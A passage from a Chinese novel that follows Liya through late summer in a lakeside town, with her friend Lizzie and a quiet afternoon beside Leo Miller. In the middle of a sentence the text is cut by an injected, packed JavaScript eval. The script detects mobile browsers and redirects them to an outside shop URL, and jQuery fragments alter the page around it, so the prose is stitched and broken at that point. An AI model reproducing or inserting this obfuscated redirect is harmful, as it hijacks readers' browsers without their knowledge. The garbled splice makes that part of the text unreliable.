莉娅安静地听着,没有打断。
“我确实……不像他们觉得女人该有的样子。”莉齐的声音很低,“我爸妈早当我没了,信都很少写。”
她停顿了很久,久到一只苍鹭从对岸飞起,翅膀扑棱的声音清晰可闻。
“有时候……是挺没劲的。”
“你还有希卡,莉娅的声音同样轻柔,“还有沃尔特他们,还有我。”
莉齐转过头,看向莉娅。她的眼眶比刚才更红了些,吸了吸鼻子,忽然猛地用手舀起一捧湖水,毫无预兆地泼向莉娅。
“让你看见我这副熊样子。”
她嚷道,试图让语气变得凶巴巴,却掩盖不住底下那一点点软化的东西。
冰凉的湖水溅在脸上,莉娅愣了一下,随即反应过来也忍不住笑了。
她立刻用手划水回敬过去:“嘿,你等着。”
两个女孩在这片与世隔绝的水湾里,用水花互相攻击起来。
她们踩着水,追逐着,笑声和惊叫声打破了之前的沉寂,惊得一群野鸟扑棱棱地从芦苇丛中飞起。
等她们终于累得喘不过气,浑身湿透地躺倒在带着夜露清香的草地上时,天空已经变成了深邃的靛蓝色,最早的几颗星星开始微弱地闪烁。
湖风吹过湿透的衣衫,带来凉意,却也让人感到一种畅快后的平静。
“喂,莉娅。”莉齐望着星空,声音恢复了大部分往常的调子,虽然还残留着一丝沙哑。
“嗯?”
“这地方……不错。”她说,“谢了。”
莉娅在渐浓的暮色里微笑起来。
*
日子像湖水般,表面平静地向着秋季流淌。
八月的最后几天空气彻底改变了质地,清晨的薄雾带着沁人的寒凉,笼罩着湖面和林子,直到太阳升高才恋恋不舍地散去。白杨树和桦树的叶片边缘开始偷偷泛起黄晕,橡树则变得更深沉。
空气中弥漫着熟透的黑莓的甜香、干燥的松针味,以及一种淡淡的、属于离别和变迁的气息。
夏天的盛大狂欢即将落幕,开学季的躁动隐约可闻。
对莉娅而言,这种季节转换还伴随着另一种期盼。她最好的朋友,奥黛丽就快要从她舅舅的农场回来了。
整个暑假奥黛丽都会定期从那边寄来明信片,上面印着肥硕的奶牛或是巨大的麦穗图案,用她活泼跳跃的字迹写满农场的趣事。比如学挤牛奶时被牛尾巴甩了一脸的狼狈、追赶逃跑小猪却摔进泥坑的闹剧、在巨大的干草垛里看星星的浪漫夜晚。
每张明信片的结尾总是写着“想念你”和“迫不及待想回家”。
莉娅总是认真地回信,她坐在窗边的小书桌前,笔划过粗糙的信纸,发出沙沙的声响。
她告诉奥黛丽橡林镇夏日尾声的景致,告诉她湖水的颜色如何一天天变得更深邃,告诉她自己在学着制作腌鱼。
「如果你回来时没有被熏跑,也许能尝到第一口。」
她写起在“鲈鱼喉”的见闻,写老渔夫们夸张的故事,当然也写到了莉齐。
「你一定会喜欢她的,奥黛丽。」莉娅写道,脸上带着一丝笑意。
「我简直没法想象你们俩见面会是什么样子,肯定像火星撞地球一样热闹。她划船比所有男孩都快,知道湖上每一个秘密角落,说话声音能盖过风暴。我觉得你们肯定会成为死党,虽然我有时担心你们俩凑在一起,会不会把整个橡林镇给掀个底朝天……」
她想象着奥黛丽开朗明亮的笑容遇上莉齐莽撞奔放的生命力,那画面让她忍不住微笑起来。
莉娅依然保持着她的日常节奏。
地窖里的腌鱼在幽暗凉爽的环境里静静发生着变化,散发出越来越浓郁复杂的咸香,混合着杜松子和月桂叶的特殊气息。
她继续去帮米勒夫人整理日渐凋零的花园,收割最后一批晚熟的豆子和番茄,将枯黄的藤蔓清理干净。
米勒夫人有时会一边揉着酸痛的腰,一边指着某株特别茁壮的紫苑花说:“这棵还是你妈妈当年帮我分株移过来的,瞧它这霸道的长势,跟她一个脾气。”
或者,在喝莉娅泡的薄荷茶时,会忽然笑着说:“艾米丽以前总笑话我泡的茶像刷锅水,说她女儿将来肯定比她强。还真让她说对了。”
这些碎片化的往事,让母亲以一种更生动的方式存在于莉娅的周遭,仿佛她只是出了趟远门。
莉娅每次都听得入神,她贪婪地收集着这些点滴,像拼图一样试图拼凑出一个更完整的、她未曾了解过的年轻时的母亲。
“鲈鱼喉”酒馆依旧是她常去的地方。莉齐似乎已从那次冲突中恢复,依旧大声说笑,跟老渔夫们掰手腕,并且通常能赢。
她还经常吹嘘自己钓到的、尺寸通常被夸大了一倍鱼。
镇上的生活重心正悄然转移,杂货店的橱窗里摆出了成沓的写字板、崭新的铅笔和镶着铁皮边的书包。母亲们开始聚集在邮局门口或教堂走廊下,比较着采购清单,议论着孩子的身高又窜了多少,抱怨布料的涨价。
一种熟悉的、属于九月初的忙碌和期待感在空气中酝酿。
一年一度的秋季长曲棍球联赛即将到来,这是小镇深秋后最盛大的事。橡林镇的男孩们,包括利奥·米勒已经紧张训练了好一阵子。空气里不仅弥漫着秋意,还夹杂着一种竞赛前的紧绷感。
就在初赛前三天,霍奇斯先生出人意料地宣布放假两天。
“都把肌肉给我放松下来。”
他洪亮的声音在训练场上回荡,“绷得像拉紧的弓弦一样,上场非断不可。都给我回去好好睡觉,别瞎折腾,让身子骨歇歇,谁敢偷偷加练我饶不了他。”
于是,平日下午本该充满奔跑脚步声、球棍碰撞声和呼喊声的湖边训练场,突然安静了下来。
这样一个难得的放松日下午,阳光暖和却不灼人,莉娅决定去湖东岸那片少有人至的河滩看看。
那里水清沙细,通常只有几只水鸟光顾,她需要一点独处的空间远离小镇的视线,也暂时放下心底那缕关于母亲信件的、不愿深究的不安。
她乘着小船沿着湖岸线慢慢前行,岸边的树林色彩层次已然丰富起来,深绿与锈红交织,倒映在如镜的湖面上。
快到东岸时,她意外地看到另一条小船系在一棵歪脖子山核桃树下,随着水波轻轻荡漾。
那是镇上常见的渔船样式。
她将自己的船轻轻靠岸,踏上细腻的白沙。
沙滩靠近树林的一侧,一个人影背对着她,坐在一根被湖水冲刷得光滑无比的巨大浮木上。
他穿着简单的亚麻衬衫,袖子卷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790930|190583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到手肘,露出结实的小臂。他只是安静地坐在那里,望着远处水天相接的地方。
是利奥·米勒。
莉娅犹豫了一下,不知是该悄悄退回船上,还是打个招呼。她的脚后退一步踩在干燥的落叶上,发出细微的脆响。
利奥似乎并未被惊动,但他微微偏了下头,表示他知道有人来了。没有抬头,也没有说话,依旧维持着之前的姿势,仿佛她的到来只是风吹过树林一样自然。
莉娅迟疑地走近了几步,在离他几步远的地方停下。两人之间隔着一段沉默的距离,只能听到湖水轻柔拍打沙滩的刷刷声,和远处潜鸟的一声孤独鸣叫。
“教练放了你们假?”
莉娅终于开口,声音在空旷的湖边显得有些轻。
“嗯。”利奥应了一声,算是回答,他的目光依然投向湖面远方。
又是一阵沉默,但这沉默并不完全令人尴尬,反而有种奇怪的宁静。莉娅也望向湖面,看到一群野鸭排成楔形,正向南飞去。
“他们看起来也很忙。”她轻声说。
利奥的视线似乎追随着那群野鸭移动了片刻,他极轻微地点了下头。
莉娅不再试图说话,她在离他那根浮木不远处的沙地上坐了下来,抱着膝盖。秋日的阳光晒得人后背暖洋洋的,她看着水面闪烁的碎金,感受着微风拂过脸颊。
时间在这里似乎流淌得格外缓慢。
不知过了多久,利奥的声音忽然响起,低沉而平静几乎被水声掩盖:“这里很安静。”
莉娅转过头看他。
他还是没有看她,侧脸线条在光线下显得有些冷硬,但眼神似乎比平时在镇上遇到时柔和少许。
“嗯,”她表示同意,“比训练场安静多了。”
“训练场也不总是吵。”他说。
停顿了一下后仿佛在斟酌词句,“……声音不一样。”
莉娅琢磨着这句话,训练场上的喧闹是沸腾的,而这里的寂静是广阔而包容的。
又一阵风吹过带来更深的凉意,几片早熟的黄叶从他们头顶的树上旋转飘落,悄无声息地落在沙滩和水面上。
“起风了。”莉娅轻声说。
利奥终于动了一下。
他弯腰从浮木旁拿起一个水壶,拔开塞子,喝了一口。
然后出乎莉娅意料地,他将其递向她。
莉娅愣了一下接过水壶,里面装的似乎是清水,冰凉沁人。
她小心地喝了一小口,递还回去。
“谢谢。”她说。
他接过后重新塞好,放在身边。
又是一个简短的音节:“嗯。”
这短暂而奇异的交流之后,沉默再次降临,却似乎比之前更易于相处了。他们就像两个偶然停泊在同一处避风港的旅人,共享着片刻的宁静,无需多言。
太阳渐渐西沉,将两人的影子在沙滩上拉得长长的。湖对岸的橡林镇开始笼罩在柔和的暮霭中,炊烟袅袅升起。
利奥站起身,动作干脆利落。
他拍了拍裤子上的沙粒,然后看向莉娅,这是今天下午他第一次真正意义上的直视她,那双灰蓝色的眼睛里依旧没什么明显的情绪,但也没有平日的疏离。
“该回去了。”他说。
莉娅点点头,也站起来。